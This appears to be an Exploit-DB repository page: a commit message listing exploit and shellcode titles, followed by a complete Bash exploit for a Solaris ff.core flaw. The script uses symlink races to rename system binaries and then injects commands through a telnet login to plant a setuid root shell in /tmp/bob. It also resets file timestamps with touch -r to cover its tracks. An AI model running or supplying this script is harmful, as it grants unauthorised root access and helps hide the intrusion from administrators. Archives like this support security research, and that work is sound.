880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
130 lines
No EOL
3.8 KiB
Bash
Executable file
130 lines
No EOL
3.8 KiB
Bash
Executable file
#source: https://www.securityfocus.com/bid/327/info
|
|
#
|
|
#There is a vulnerability in Solaris's ff.core utility which allows normal users to execute the rename command as root. This particular bug when leveraged against a series of other configuration issues in a standard Solaris setup can lead to a root compromise. An example of this attack executed via the ff.core rename attack could be as follows:
|
|
#
|
|
#1. rename /usr/bin/sh /usr/bin/admintool
|
|
#2. rename /usr/sbin/swmtool /usr/sbin/in.rlogind
|
|
#3. telnet localhost login and clean up
|
|
#
|
|
#Detailed messages concerning this problem and related fixes are attached to this Vulnerability in the Referance section.
|
|
#
|
|
#CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.
|
|
#
|
|
#The following exploit was provided:
|
|
|
|
#!/bin/sh
|
|
|
|
# /usr/openwin/bin/ff.core exploit - horizon
|
|
# tested on 2.5.1, 2.6 and Solaris 7 (2.7)
|
|
# thanks to joej, adm, and joej :>
|
|
|
|
# if you want to exploit 2.5, you can just make this move /etc/group over
|
|
# /etc/shadow. you will probably want to move /etc/shadow to /etc/s.bak
|
|
|
|
# first test if we can pull this off
|
|
|
|
echo "Testing if exploit is possible..."
|
|
|
|
if [ -x /usr/openwin/bin/ff.core ]
|
|
then
|
|
:
|
|
else
|
|
echo "ff.core isn't there or executable. :/"
|
|
exit 1
|
|
fi
|
|
|
|
if [ -w /vol/rmt ]
|
|
then
|
|
:
|
|
else
|
|
echo "We can't do the symlink. :<"
|
|
exit 1
|
|
fi
|
|
|
|
mkdir /tmp/.test42
|
|
touch /tmp/.test42/bob
|
|
|
|
rm -f /vol/rmt/diskette0
|
|
ln -fs /tmp/.test42 /vol/rmt/diskette0
|
|
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/bob jim /floppy/ 2>/dev/null
|
|
|
|
if [ -f /tmp/.test42/jim ]
|
|
then
|
|
echo "Test successful. Proceeding..."
|
|
else
|
|
echo "Hmmm.. doesn't look like this is going to work :/"
|
|
exit 1
|
|
fi
|
|
|
|
rm -rf /tmp/.test42
|
|
|
|
# lets make some backups
|
|
|
|
echo "Backing up clobbered files to /tmp/.bk"
|
|
|
|
mkdir /tmp/.bk
|
|
#save admintools times
|
|
touch /tmp/.bk/admintool
|
|
touch -r /usr/bin/admintool /tmp/.bk/admintool
|
|
#save rloginds times
|
|
touch /tmp/.bk/in.rlogind
|
|
touch -r /usr/sbin/in.rlogind /tmp/.bk/in.rlogind
|
|
#save a copy of /usr/bin/sh
|
|
cp /usr/bin/sh /tmp/.bk
|
|
touch -r /usr/bin/sh /tmp/.bk/sh
|
|
|
|
echo "Doing sploit..."
|
|
|
|
rm -f /vol/rmt/diskette0
|
|
ln -fs /usr/bin /vol/rmt/diskette0
|
|
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/admintool admintool.bak /floppy/ 2>/dev/null
|
|
|
|
rm -f /vol/rmt/diskette0
|
|
ln -fs /usr/bin /vol/rmt/diskette0
|
|
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/sh admintool /floppy/ 2>/dev/null
|
|
|
|
rm -f /vol/rmt/diskette0
|
|
ln -fs /usr/sbin /vol/rmt/diskette0
|
|
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/in.rlogind in.rlogind.bak /floppy/ 2>/dev/null
|
|
|
|
rm -f /vol/rmt/diskette0
|
|
ln -fs /usr/sbin /vol/rmt/diskette0
|
|
/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/swmtool in.rlogind /floppy/ 2>/dev/null
|
|
|
|
echo "Done with sploit. Testing and trying to clean up now..."
|
|
|
|
sleep 1
|
|
|
|
(sleep 2;echo " cp /bin/rksh /tmp/bob; chmod 4755 /tmp/bob; exit; ") | telnet localhost login
|
|
|
|
sleep 1
|
|
|
|
if [ -f /tmp/bob ]
|
|
then
|
|
echo "w00p! Should have a suid root sh in /tmp/bob"
|
|
echo "btw, its rksh because solaris is silly"
|
|
echo "Let me try to clean up my mess..."
|
|
else
|
|
echo "hrmmph.. didnt work. hope shits not screwed up bad :/"
|
|
exit 1
|
|
fi
|
|
|
|
echo "
|
|
cp /tmp/.bk/sh /usr/bin/sh
|
|
chmod 555 /usr/bin/sh
|
|
chown bin /usr/bin/sh
|
|
chgrp root /usr/bin/sh
|
|
touch -r /tmp/.bk/sh /usr/bin/sh
|
|
mv /usr/bin/admintool.bak /usr/bin/admintool
|
|
touch -r /tmp/.bk/admintool /usr/bin/admintool
|
|
rm -f /usr/sbin/swmtool
|
|
ln -s /usr/bin/admintool /usr/sbin/swmtool
|
|
touch -r /usr/bin/admintool /usr/sbin/swmtool
|
|
rm -f /usr/sbin/in.rlogind
|
|
mv /usr/sbin/in.rlogind.bak /usr/sbin/in.rlogind
|
|
touch -r /tmp/.bk/in.rlogind /usr/sbin/in.rlogind
|
|
rm -rf /tmp/.bk
|
|
" | /tmp/bob
|
|
|
|
echo "everything should be cool.. i think :>"
|
|
/tmp/bob |